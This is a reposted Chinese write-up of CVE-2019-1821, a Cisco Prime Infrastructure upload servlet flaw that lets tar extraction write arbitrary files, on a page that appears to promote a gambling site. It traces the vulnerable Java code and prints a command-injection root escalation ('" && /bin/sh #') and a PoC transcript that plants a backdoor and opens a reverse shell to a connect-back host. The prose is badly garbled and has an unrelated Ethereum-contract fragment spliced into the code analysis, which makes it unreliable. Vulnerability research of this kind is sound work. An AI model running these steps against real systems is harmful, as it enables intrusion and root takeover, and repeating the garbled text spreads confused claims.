CVE-2019-1821:思科Prime企业局域网管理器 长途代码实行 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CVE-2019-1821:思科Prime企业局域网管理器 长途代码实行

申博_安全预警 申博 97次浏览 已收录 0个评论

媒介

不是一切目次遍历破绽伤害都雷同,取决于遍历的用法以及用户交互水平。正如你将看到,本文的这个破绽类在代码中异常难发明,但能够形成伟大的影响。

这个破绽存在于思科Prime Infrastructure项目,思科为其请求编号:CVE-2019-1821。由于我没法测试新补钉(我没有思科的证件),不清楚破绽补钉的具体情况,因而我决议分享破绽概况,愿望有人能够考证补钉的稳定性。

TL;DR 在这篇文章我会议论CVE-2019-1821的发掘历程并演示进击,该破绽属于未经身份考证的效劳器端长途代码实行破绽。

思科Prime Infrastructure

思科官网是如许形貌Prime Infrastructure(PI)的:

思科Prime Infrastructure能够资助你简化事情,自动化治理义务,它连系了思科收集智能装备的英华。思科Prime Infrastructure的特征和功用能够资助你整合产物,经由过程收集完成挪动端合作,简化WLAN治理…

老实说,我仍不晓得它究竟是干吗的,因而我转到维基百科查找词条:

思科Prime是一个收集治理软件套件,由思科体系的其他软件一同组成。个中大部分软件效劳于企业或效劳供应商收集。

发明目的

这个破绽是我在PI-APL-3.4.0.0.348-1-K9.iso (d513031f481042092d14b77cd03cbe75)上复现Pedro的CVE-2018-15379时有时发明的,当时我正在测试补钉PI_3_4_1-1.0.27.ubf (56a2acbcf31ad7c238241f701897fcb1)的稳定性。从Github上的形貌你能够发明,两个完全分歧的破绽被给予了同一个CVE编号。

piconsole/admin# show version

Cisco Prime Infrastructure
********************************************************
Version : 3.4.0
Build : 3.4.0.0.348
Critical Fixes:
        PI 3.4.1 Maintenance Release ( 1.0.0 )

实行默许装置后,为了浏览源代码我将可用性设置为高。依据Cisco Prime Infrastructure申明文档,这类设置实际上是一种规范做法。看起来很庞杂的历程,实在就是布置两个分歧的PI装置顺序,个中一个为HA主效劳器,另一个是HA辅佐效劳器。

CVE-2019-1821:思科Prime企业局域网管理器 长途代码实行

斲丧大批RAM和磁盘空间后,装置设置装备摆设终了:

CVE-2019-1821:思科Prime企业局域网管理器 长途代码实行

别的,有个同伙告诉我他在3.5版本上胜利复现了该破绽(CVE-2018-15379),并马上向思科申报。

破绽剖析

/opt/CSCOlumos/healthmonitor/webapps/ROOT/WEB-INF/web.xml有以下进口:

<!-- Fileupload Servlet -->
<servlet>
    <servlet-name>UploadServlet</servlet-name>
    <display-name>UploadServlet</display-name>
    <servlet-class>
        com.cisco.common.ha.fileutil.UploadServlet
    </servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>UploadServlet</servlet-name>
    <url-pattern>/servlet/UploadServlet</url-pattern>
</servlet-mapping>

这里的UploadFile Servlet属于运用康健监视器治理局限,须要设置装备摆设高可用性才能够接见。

/opt/CSCOlumos/lib/pf/rfm-3.4.0.403.24.jar界说了UploadServlet类:

以太坊CVE-2018–10468与CVE-2018–11411合约漏洞分析

一、前言 最近在审计代码的时候发现了两则十分相似的代码,审计之后发现代码存在一些问题,后来查询发现两则代码确为2018年的CVE。即:CVE-2018–11411与CVE-2018–10468。由于者的漏洞点十分相似,所以在本文中我将两代码一同进行分析。 经过简单的分析,我发现两则漏洞均是由编写者在编写代码过程中错误撰写合约判断条件从而导致攻击者可以利用条件传入合适的参数从而绕过判断进而作恶。 代码并不长,但是危害性极大。 二、代码分析 由于代码十分相似,所以我们仅分析其不同点与关键点。 合约如下: /**
* Source Code first verified at https://etherscan.io on Wednesday, June 28, 2017
(UTC) */

pragma solidity ^0.4.10;

contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}

contract UselessEthereumToken {
address owner = msg.sender;

bool public purchasingAllowed = false;

mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;

uint256 public totalContributi

public class UploadServlet
  extends HttpServlet
{
  private static final String FILE_PREFIX = "upload_";
  private static final int ONE_K = 1024;
  private static final int HTTP_STATUS_500 = 500;
  private static final int HTTP_STATUS_200 = 200;
  private boolean debugTar = false;

  public void init() {}

  public void doPost(HttpServletRequest request, HttpServletResponse response)
    throws IOException, ServletException
  {
    String fileName = null;

    long fileSize = 0L;

    boolean result = false;
    response.setContentType("text/html");
    String destDir = request.getHeader("Destination-Dir");                              // 1
    String archiveOrigin = request.getHeader("Primary-IP");                             // 2
    String fileCount = request.getHeader("Filecount");                                  // 3
    fileName = request.getHeader("Filename");                                           // 4
    String sz = request.getHeader("Filesize");                                          // 5
    if (sz != null) {
      fileSize = Long.parseLong(sz);
    }
    String compressed = request.getHeader("Compressed-Archive");                        // 6
    boolean archiveIsCompressed;
    boolean archiveIsCompressed;
    if (compressed.equals("true")) {
      archiveIsCompressed = true;
    } else {
      archiveIsCompressed = false;
    }
    AesLogImpl.getInstance().info(128, new Object[] { "Received archive=" + fileName, " size=" + fileSize + " from " + archiveOrigin + " containing " + fileCount + " files to be extracted to: " + destDir });

    ServletFileUpload upload = new ServletFileUpload();

    upload.setSizeMax(-1L);
    PropertyManager pmanager = PropertyManager.getInstance(archiveOrigin);              // 7
    String outDir = pmanager.getOutputDirectory();                                      // 8

    File fOutdir = new File(outDir);
    if (!fOutdir.exists()) {
      AesLogImpl.getInstance().info(128, new Object[] { "UploadServlet: Output directory for archives " + outDir + " does not exist. Continuing..." });
    }
    String debugset = pmanager.getProperty("DEBUG");
    if ((debugset != null) && (debugset.equals("true")))
    {
      this.debugTar = true;
      AesLogImpl.getInstance().info(128, new Object[] { "UploadServlet: Debug setting is specified" });
    }
    try
    {
      FileItemIterator iter = upload.getItemIterator(request);
      while (iter.hasNext())
      {
        FileItemStream item = iter.next();
        String name = item.getFieldName();
        InputStream stream = item.openStream();                                         // 9
        if (item.isFormField())
        {
          AesLogImpl.getInstance().error(128, new Object[] { "Form field input stream with name " + name + " detected. Abort processing" });

          response.sendError(500, "Servlet does not handle FormField uploads."); return;
        }
                                                                                        // 10
        result = processFileUploadStream(item, stream, destDir, archiveOrigin, archiveIsCompressed, fileName, fileSize, outDir);
        stream.close();
      }
    }

代码从用户请求中猎取[1],[2],[3],[4],[5]和[6] 6个参数。分别是destDir, archiveOrigin, fileCountfileName, fileSize (为长值) 和compressed(为布尔值)。

然后[7]请求供应婚配的Primary-IP,用于[8]猎取outDir。[9]代码会从上传的文件中猎取流输入,然后[10]挪用函数processFileUploadStream返回效果。

溯源函数processFileUploadStream

private boolean processFileUploadStream(FileItemStream item, InputStream istream, String destDir, String archiveOrigin, boolean archiveIsCompressed, String archiveName, long sizeInBytes, String outputDir)
  throws IOException
{
  boolean result = false;
  try
  {
    FileExtractor extractor = new FileExtractor();                                                    // 11
    AesLogImpl.getInstance().info(128, new Object[] { "processFileUploadStream: Start extracting archive = " + archiveName + " size= " + sizeInBytes });

    extractor.setDebug(this.debugTar);

    result = extractor.extractArchive(istream, destDir, archiveOrigin, archiveIsCompressed);          // 12

[11]处,代码建立一个新的FileExtractor然后在[12]处挪用函数extractArchive,个中用户掌握的istream,destDir,archiveOriginarchiveIsCompressed也被带入。

溯源FileExtractor类:

public class FileExtractor
{

  ...

  public boolean extractArchive(InputStream ifstream, String destDirToken, String sourceIPAddr, boolean compressed)
  {
    if (ifstream == null) {
      throw new IllegalArgumentException("Tar input stream not specified");
    }
    String destDir = getDestinationDirectory(sourceIPAddr, destDirToken);                               // 13
    if ((destDirToken == null) || (destDir == null)) {
      throw new IllegalArgumentException("Destination directory token " + destDirToken + " or destination dir=" + destDir + " for extraction of tar file not found");
    }
    FileArchiver archiver = new FileArchiver();
    boolean result = archiver.extractArchive(compressed, null, ifstream, destDir);                      // 14

    return result;
  }

[13]处,代码会挪用getDestinationDirectory函数,并带入用户可控的sourceIPAddrdestDirToken。个中destDirToken参数需为有用的目次token值,因而我将运用tftpRoot字符串。下面是HighAvailabilityServerInstanceConfig类中的tftpRoot字符:

if (name.equalsIgnoreCase("tftpRoot")) {
  return getTftpRoot();
}

然后,[14]处代码会挪用extractArchive函数,个中包罗compressedifstrean和destDir的值。

跟进该函数:

public class FileArchiver
{

  ...

  public boolean extractArchive(boolean compress, String archveName, InputStream istream, String userDir)
  {
    this.archiveName = archveName;
    this.compressed = compress;
    File destDir = new File(userDir);
    if (istream != null) {
      AesLogImpl.getInstance().trace1(128, "Extract archive from stream  to directory " + userDir);
    } else {
      AesLogImpl.getInstance().trace1(128, "Extract archive " + this.archiveName + " to directory " + userDir);
    }
    if ((!destDir.exists()) && 
      (!destDir.mkdirs()))
    {
      destDir = null;
      AesLogImpl.getInstance().error1(128, "Error while creating destination dir=" + userDir + " Giving up extraction of archive " + this.archiveName);

      return false;
    }
    result = false;
    if (destDir != null) {
      try
      {
        setupReadArchive(istream);                                  // 15
        this.archive.extractContents(destDir);                      // 17
        return true;
      }

[15]处代码起首会挪用setupReadArchive函数。这很主要,由于紧接着archive变量在TarArchive类中被实例化[16]。

private boolean setupReadArchive(InputStream istream)
   throws IOException
 {
   if ((this.archiveName != null) && (istream == null)) {
     try
     {
       this.inStream = new FileInputStream(this.archiveName);
     }
     catch (IOException ex)
     {
       this.inStream = null;
       return false;
     }
   } else {
     this.inStream = istream;
   }
   if (this.inStream != null) {
     if (this.compressed)
     {
       try
       {
         this.inStream = new GZIPInputStream(this.inStream);
       }
       catch (IOException ex)
       {
         this.inStream = null;
       }
       if (this.inStream != null) {
         this.archive = new TarArchive(this.inStream, 10240);              // 16
       }
     }
     else
     {
       this.archive = new TarArchive(this.inStream, 10240);
     }
   }
   if (this.archive != null) {
     this.archive.setDebug(this.debug);
   }
   return this.archive != null;
 }
[17]处,代码会挪用TarArchive类的extractContents函数。

extractContents( File destDir )
  throws IOException, InvalidHeaderException
  {
  for ( ; ; )
    {
    TarEntry entry = this.tarIn.getNextEntry();

    if ( entry == null )
      {
      if ( this.debug )
        {
        System.err.println( "READ EOF RECORD" );
        }
      break;
      }

    this.extractEntry( destDir, entry );                      // 18
    }
  }

继承跟进,[18]处代码卖力提掏出条目。我们能够看到这里没有任何搜检,随便提取tar档案文件。

try {
  boolean asciiTrans = false;

  FileOutputStream out =
    new FileOutputStream( destFile );                   // 19

  ...

  for ( ; ; )
    {
    int numRead = this.tarIn.read( rdbuf );

    if ( numRead == -1 )
      break;

    if ( asciiTrans )
      {
      for ( int off = 0, b = 0 ; b < numRead ; ++b )
        {
        if ( rdbuf[ b ] == 10 )
          {
          String s = new String
            ( rdbuf, off, (b - off) );

          outw.println( s );

          off = b + 1;
          }
        }
      }
    else
      {
      out.write( rdbuf, 0, numRead );                   // 20
      }
    }

[19]处代码建立文件,然后[20]处代码卖力将文件写入磁盘。厥后我发明这些代码是由赫赫有名的Timothy Gerard Endres在ICE Engineering时代编写的,而且这些代码被大批项目援用,比方着名逆向剖析东西 radare。

这个破绽许可未经身份考证的进击者盗用Prime用户权限,长途实行恣意代码。

不测收成

思科公司没有很好地修复CVE-2018-15379,因而我能够提升至root权限:

python -c 'import pty; pty.spawn("/bin/bash")'
[prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
/opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
sh-4.1# /usr/bin/id
/usr/bin/id
uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0

Wait,radare2源码的TarArchive.java中存在相似的一个长途代码实行破绽,你能够试着去找到它。

Poc

saturn:~ mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.100.123 192.168.100.2:4444

saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.2:4444
(+) planted backdoor!
(+) starting handler on port 4444
(+) connection from 192.168.100.123
(+) pop thy shell!
python -c 'import pty; pty.spawn("/bin/bash")'
[prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
/opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
sh-4.1# /usr/bin/id
/usr/bin/id
uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0

这里有完全的poc文档,你能够下载到当地剖析参考。

小结

虽然这个破绽禁受住了思科以及其他研究人员的屡次代码审计的磨练,但我认为是须要设置装备摆设为高可用性,而且在一个组件中触发的原因。有时候平安研究者须要费一些时候去好好设置装备摆设试验情况,以便更好地事情。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CVE-2019-1821:思科Prime企业局域网管理器 长途代码实行
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址